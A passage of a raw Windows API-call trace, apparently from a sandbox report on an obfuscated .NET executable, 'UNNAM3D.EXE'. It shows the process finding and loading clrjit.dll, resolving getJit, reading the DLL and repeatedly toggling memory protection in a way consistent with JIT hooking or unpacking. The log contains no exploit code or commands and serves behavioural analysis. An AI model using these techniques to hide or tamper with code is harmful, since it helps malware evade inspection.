lstrcmpiA (lpString1="clrjit.dll", lpString2="mscorjit.dll") returned -1 [0122.593] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75170000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0122.594] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="mscorjit.dll") returned 1 [0122.594] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74ab0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="nlssorting.dll") returned 0xe [0122.594] lstrcmpiA (lpString1="nlssorting.dll", lpString2="mscorjit.dll") returned 1 [0122.594] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x73840000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="System.ni.dll") returned 0xd [0122.594] lstrcmpiA (lpString1="System.ni.dll", lpString2="mscorjit.dll") returned 1 [0122.594] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x713b0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="AgileDotNetRT.dll") returned 0x11 [0122.595] lstrcmpiA (lpString1="AgileDotNetRT.dll", lpString2="mscorjit.dll") returned -1 [0122.595] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75100000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="PSAPI.DLL") returned 0x9 [0122.595] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="mscorjit.dll") returned 1 [0122.595] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75710000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="CRYPT32.dll") returned 0xb [0122.596] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="mscorjit.dll") returned -1 [0122.596] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75030000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="MSASN1.dll") returned 0xa [0122.596] lstrcmpiA (lpString1="MSASN1.dll", lpString2="mscorjit.dll") returned -1 [0122.596] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75f70000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="shell32.dll") returned 0xb [0122.596] lstrcmpiA (lpString1="shell32.dll", lpString2="mscorjit.dll") returned 1 [0122.596] GetProcessHeap () returned 0xd90000 [0122.596] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdff9b8 | out: hHeap=0xd90000) returned 1 [0122.596] GetCurrentProcess () returned 0xffffffff [0122.596] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0xb6d484 | out: lphModule=0x0, lpcbNeeded=0xb6d484) returned 1 [0122.597] GetProcessHeap () returned 0xd90000 [0122.597] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x220) returned 0xdff9b8 [0122.597] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0xdff9b8, cb=0x220, lpcbNeeded=0xb6d484 | out: lphModule=0xdff9b8, lpcbNeeded=0xb6d484) returned 1 [0122.597] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x290000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="UNNAM3D.EXE") returned 0xb [0122.597] lstrcmpiA (lpString1="UNNAM3D.EXE", lpString2="clrjit.dll") returned 1 [0122.597] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76fc0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="ntdll.dll") returned 0x9 [0122.597] lstrcmpiA (lpString1="ntdll.dll", lpString2="clrjit.dll") returned 1 [0122.597] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x73320000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0122.597] lstrcmpiA (lpString1="MSCOREE.DLL", lpString2="clrjit.dll") returned 1 [0122.597] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75900000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="KERNEL32.dll") returned 0xc [0122.598] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="clrjit.dll") returned 1 [0122.598] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75bb0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0122.598] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="clrjit.dll") returned 1 [0122.598] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74f30000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0122.598] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="clrjit.dll") returned -1 [0122.598] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75200000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="msvcrt.dll") returned 0xa [0122.598] lstrcmpiA (lpString1="msvcrt.dll", lpString2="clrjit.dll") returned 1 [0122.598] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x758e0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="sechost.dll") returned 0xb [0122.598] lstrcmpiA (lpString1="sechost.dll", lpString2="clrjit.dll") returned 1 [0122.598] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75620000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="RPCRT4.dll") returned 0xa [0122.598] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="clrjit.dll") returned 1 [0122.598] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74b20000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="SspiCli.dll") returned 0xb [0122.599] lstrcmpiA (lpString1="SspiCli.dll", lpString2="clrjit.dll") returned 1 [0122.599] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74b10000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0122.599] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="clrjit.dll") returned 1 [0122.599] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74a20000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="mscoreei.dll") returned 0xc [0122.599] lstrcmpiA (lpString1="mscoreei.dll", lpString2="clrjit.dll") returned 1 [0122.599] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75c00000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0122.599] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="clrjit.dll") returned 1 [0122.599] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75040000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="GDI32.dll") returned 0x9 [0122.599] lstrcmpiA (lpString1="GDI32.dll", lpString2="clrjit.dll") returned 1 [0122.599] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75c60000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="USER32.dll") returned 0xa [0122.600] lstrcmpiA (lpString1="USER32.dll", lpString2="clrjit.dll") returned 1 [0122.600] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76f90000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="LPK.dll") returned 0x7 [0122.600] lstrcmpiA (lpString1="LPK.dll", lpString2="clrjit.dll") returned 1 [0122.600] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74e90000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="USP10.dll") returned 0x9 [0122.600] lstrcmpiA (lpString1="USP10.dll", lpString2="clrjit.dll") returned 1 [0122.600] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75b50000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="IMM32.DLL") returned 0x9 [0122.600] lstrcmpiA (lpString1="IMM32.DLL", lpString2="clrjit.dll") returned 1 [0122.600] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75ea0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="MSCTF.dll") returned 0x9 [0122.601] lstrcmpiA (lpString1="MSCTF.dll", lpString2="clrjit.dll") returned 1 [0122.601] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74ad0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="VERSION.dll") returned 0xb [0122.601] lstrcmpiA (lpString1="VERSION.dll", lpString2="clrjit.dll") returned 1 [0122.601] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74370000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="clr.dll") returned 0x7 [0122.602] lstrcmpiA (lpString1="clr.dll", lpString2="clrjit.dll") returned -1 [0122.602] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74270000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0122.602] lstrcmpiA (lpString1="MSVCR120_CLR0400.dll", lpString2="clrjit.dll") returned 1 [0122.602] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x71980000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0122.602] lstrcmpiA (lpString1="mscorlib.ni.dll", lpString2="clrjit.dll") returned 1 [0122.602] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74b80000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="ole32.dll") returned 0x9 [0122.603] lstrcmpiA (lpString1="ole32.dll", lpString2="clrjit.dll") returned 1 [0122.603] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x732a0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="uxtheme.dll") returned 0xb [0122.603] lstrcmpiA (lpString1="uxtheme.dll", lpString2="clrjit.dll") returned 1 [0122.603] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x741f0000, lpBaseName=0xb6d080, nSize=0x400 | out: lpBaseName="clrjit.dll") returned 0xa [0122.603] lstrcmpiA (lpString1="clrjit.dll", lpString2="clrjit.dll") returned 0 [0122.603] GetProcessHeap () returned 0xd90000 [0122.603] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdff9b8 | out: hHeap=0xd90000) returned 1 [0122.603] lstrcatW (in: lpString1="", lpString2="clrjit.dll" | out: lpString1="clrjit.dll") returned="clrjit.dll" [0122.603] GetFileVersionInfoSizeW (in: lptstrFilename="clrjit.dll", lpdwHandle=0xb6da78 | out: lpdwHandle=0xb6da78) returned 0x7f4 [0122.603] GetProcessHeap () returned 0xd90000 [0122.603] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x7f4) returned 0xdff9b8 [0122.603] GetFileVersionInfoW (in: lptstrFilename="clrjit.dll", dwHandle=0x0, dwLen=0x7f4, lpData=0xdff9b8 | out: lpData=0xdff9b8) returned 1 [0122.604] lstrcpyA (in: lpString1=0xb6da84, lpString2="\\StringFileInfo\\040904b0\\FileVersion" | out: lpString1="\\StringFileInfo\\040904b0\\FileVersion") returned="\\StringFileInfo\\040904b0\\FileVersion" [0122.604] VerQueryValueA (in: pBlock=0xdff9b8, lpSubBlock="\\StringFileInfo\\040904b0\\FileVersion", lplpBuffer=0xb6da80, puLen=0xb6da7c | out: lplpBuffer=0xb6da80*=0xdfff3c, puLen=0xb6da7c) returned 1 [0122.604] lstrcmpA (lpString1="4.6.81.0 built by: NETFXREL2", lpString2="4.0.30319.17020 built by: FXM3REL") returned 1 [0122.604] LoadLibraryW (lpLibFileName="clrjit.dll") returned 0x741f0000 [0122.604] GetProcAddress (hModule=0x741f0000, lpProcName="getJit") returned 0x7423f70e [0122.604] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.604] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.604] GetProcessHeap () returned 0xd90000 [0122.604] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdff9b8 | out: hHeap=0xd90000) returned 1 [0122.604] GetModuleFileNameW (in: hModule=0x741f0000, lpFilename=0xb6d71c, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0122.604] lstrcpyW (in: lpString1=0xb6d1f0, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" [0122.604] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), dwDesiredAccess=0x1, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0122.604] GetFileSize (in: hFile=0x234, lpFileSizeHigh=0xb6cf0c | out: lpFileSizeHigh=0xb6cf0c*=0x0) returned 0x7c898 [0122.604] GetProcessHeap () returned 0xd90000 [0122.604] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x7c898) returned 0xe002e0 [0122.605] ReadFile (in: hFile=0x234, lpBuffer=0xe002e0, nNumberOfBytesToRead=0x7c898, lpNumberOfBytesRead=0xb6cf08, lpOverlapped=0x0 | out: lpBuffer=0xe002e0*, lpNumberOfBytesRead=0xb6cf08*=0x7c898, lpOverlapped=0x0) returned 1 [0122.655] CloseHandle (hObject=0x234) returned 1 [0122.655] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.655] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.655] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.655] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.655] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.655] lstrcmpA (lpString1=".text", lpString2=".text") returned 0 [0122.655] GetProcessHeap () returned 0xd90000 [0122.655] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x1d4) returned 0xdfff90 [0122.655] GetProcessHeap () returned 0xd90000 [0122.655] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x1d4) returned 0xe7cf48 [0122.655] GetProcessHeap () returned 0xd90000 [0122.655] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x6cf58) returned 0x5050048 [0122.660] GetProcessHeap () returned 0xd90000 [0122.660] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x6cf58) returned 0x50bcfa8 [0122.666] GetProcessHeap () returned 0xd90000 [0122.666] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe7cf48 | out: hHeap=0xd90000) returned 1 [0122.666] GetProcessHeap () returned 0xd90000 [0122.666] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe002e0 | out: hHeap=0xd90000) returned 1 [0122.666] GetProcessHeap () returned 0xd90000 [0122.666] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdfff90 | out: hHeap=0xd90000) returned 1 [0122.666] GetProcessHeap () returned 0xd90000 [0122.666] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7cf60 [0122.666] VirtualQuery (in: lpAddress=0x7425e158, lpBuffer=0xb6de4c, dwLength=0x1c | out: lpBuffer=0xb6de4c*(BaseAddress=0x7425e000, AllocationBase=0x741f0000, AllocationProtect=0x80, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0122.666] VirtualProtect (in: lpAddress=0x7425e000, dwSize=0x9000, flNewProtect=0x4, lpflOldProtect=0xb6de60 | out: lpflOldProtect=0xb6de60*=0x2) returned 1 [0122.667] VirtualProtect (in: lpAddress=0x7425e000, dwSize=0x9000, flNewProtect=0x2, lpflOldProtect=0xb6de48 | out: lpflOldProtect=0xb6de48*=0x4) returned 1 [0122.668] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6cfd4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0122.668] GetProcessHeap () returned 0xd90000 [0122.668] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7cf78 [0122.668] GetCurrentProcess () returned 0xffffffff [0122.668] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0xb6cf60 | out: lphModule=0x0, lpcbNeeded=0xb6cf60) returned 1 [0122.669] GetProcessHeap () returned 0xd90000 [0122.669] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x220) returned 0xdfff90 [0122.669] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0xdfff90, cb=0x220, lpcbNeeded=0xb6cf60 | out: lphModule=0xdfff90, lpcbNeeded=0xb6cf60) returned 1 [0122.669] GetModuleInformation (in: hProcess=0xffffffff, hModule=0x290000, lpmodinfo=0xb6cf50, cb=0xc | out: lpmodinfo=0xb6cf50*(lpBaseOfDll=0x290000, SizeOfImage=0x7bc000, EntryPoint=0xa46d12)) returned 1 [0122.669] GetProcessHeap () returned 0xd90000 [0122.669] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdfff90 | out: hHeap=0xd90000) returned 1 [0122.669] VirtualQuery (in: lpAddress=0x292008, lpBuffer=0xb6c93c, dwLength=0x1c | out: lpBuffer=0xb6c93c*(BaseAddress=0x292000, AllocationBase=0x290000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0122.669] VirtualQuery (in: lpAddress=0x29204f, lpBuffer=0xb6c93c, dwLength=0x1c | out: lpBuffer=0xb6c93c*(BaseAddress=0x292000, AllocationBase=0x290000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0122.669] VirtualQuery (in: lpAddress=0x292d7c, lpBuffer=0xb6c93c, dwLength=0x1c | out: lpBuffer=0xb6c93c*(BaseAddress=0x292000, AllocationBase=0x290000, AllocationProtect=0x80, RegionSize=0x7b5000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0122.670] VirtualQuery (in: lpAddress=0x2984b3, lpBuffer=0xb6c93c, dwLength=0x1c | out: lpBuffer=0xb6c93c*(BaseAddress=0x298000, AllocationBase=0x290000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0122.670] VirtualQuery (in: lpAddress=0x2984b4, lpBuffer=0xb6c93c, dwLength=0x1c | out: lpBuffer=0xb6c93c*(BaseAddress=0x298000, AllocationBase=0x290000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0122.670] VirtualQuery (in: lpAddress=0x2984c3, lpBuffer=0xb6c93c, dwLength=0x1c | out: lpBuffer=0xb6c93c*(BaseAddress=0x298000, AllocationBase=0x290000, AllocationProtect=0x80, RegionSize=0x7af000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0122.670] GetProcessHeap () returned 0xd90000 [0122.670] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x1810) returned 0xe002e0 [0122.670] GetProcessHeap () returned 0xd90000 [0122.670] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x14) returned 0xddcf58 [0122.670] GetProcessHeap () returned 0xd90000 [0122.670] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x40) returned 0xdf86c8 [0122.670] GetProcessHeap () returned 0xd90000 [0122.670] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x30) returned 0xdfb700 [0122.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb6c7f0 | out: lpSystemTimeAsFileTime=0xb6c7f0*(dwLowDateTime=0xdf4a0f50, dwHighDateTime=0x1d4e92a)) [0122.670] CompareFileTime (lpFileTime1=0xb6c7f8, lpFileTime2=0xb6c7f0) returned 1 [0122.670] GetProcessHeap () returned 0xd90000 [0122.670] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x10) returned 0xe7cf90 [0122.670] GetProcessHeap () returned 0xd90000 [0122.670] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x14) returned 0xddce78 [0122.834] VirtualProtect (in: lpAddress=0x2920b8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.835] VirtualProtect (in: lpAddress=0x2920c0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.835] VirtualProtect (in: lpAddress=0x2920c8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.835] VirtualProtect (in: lpAddress=0x2920d0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.836] VirtualProtect (in: lpAddress=0x2920d8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.836] VirtualProtect (in: lpAddress=0x2920e0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.836] VirtualProtect (in: lpAddress=0x2920e8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.837] VirtualProtect (in: lpAddress=0x2920f0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.837] VirtualProtect (in: lpAddress=0x2920f8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.837] VirtualProtect (in: lpAddress=0x292100, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.837] VirtualProtect (in: lpAddress=0x292118, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.838] VirtualProtect (in: lpAddress=0x292120, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.838] VirtualProtect (in: lpAddress=0x292128, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.839] VirtualProtect (in: lpAddress=0x292130, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.839] VirtualProtect (in: lpAddress=0x292138, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.839] VirtualProtect (in: lpAddress=0x292140, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.839] VirtualProtect (in: lpAddress=0x292150, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.840] VirtualProtect (in: lpAddress=0x292158, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.840] VirtualProtect (in: lpAddress=0x292170, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.840] VirtualProtect (in: lpAddress=0x292178, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.841] VirtualProtect (in: lpAddress=0x292180, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.841] VirtualProtect (in: lpAddress=0x292188, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.841] VirtualProtect (in: lpAddress=0x292190, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.842] VirtualProtect (in: lpAddress=0x292198, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.842] VirtualProtect (in: lpAddress=0x2921a0, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.842] VirtualProtect (in: lpAddress=0x2921a8, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.842] VirtualProtect (in: lpAddress=0x2921b8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.843] VirtualProtect (in: lpAddress=0x2921c0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.843] VirtualProtect (in: lpAddress=0x2921c8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.844] VirtualProtect (in: lpAddress=0x2921d0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.844] VirtualProtect (in: lpAddress=0x2921d8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.844] VirtualProtect (in: lpAddress=0x2921e0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.844] VirtualProtect (in: lpAddress=0x2921e8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.845] VirtualProtect (in: lpAddress=0x2921f0, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.845] VirtualProtect (in: lpAddress=0x2921f8, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.845] VirtualProtect (in: lpAddress=0x292200, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.846] VirtualProtect (in: lpAddress=0x292208, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.846] VirtualProtect (in: lpAddress=0x292210, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.846] VirtualProtect (in: lpAddress=0x292250, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.847] VirtualProtect (in: lpAddress=0x292258, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.847] VirtualProtect (in: lpAddress=0x292260, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.847] VirtualProtect (in: lpAddress=0x292268, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.848] VirtualProtect (in: lpAddress=0x292274, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.848] VirtualProtect (in: lpAddress=0x29227c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.848] VirtualProtect (in: lpAddress=0x292284, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.892] VirtualProtect (in: lpAddress=0x29228c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x4) returned 1 [0122.893] VirtualProtect (in: lpAddress=0x292294, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0xb6ca1c | out: lpflOldProtect=0xb6ca1c*=0x20) returned 1 [0122.893] VirtualProtect (in: lpAddress=0x29229c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0xb6ca1c | out: 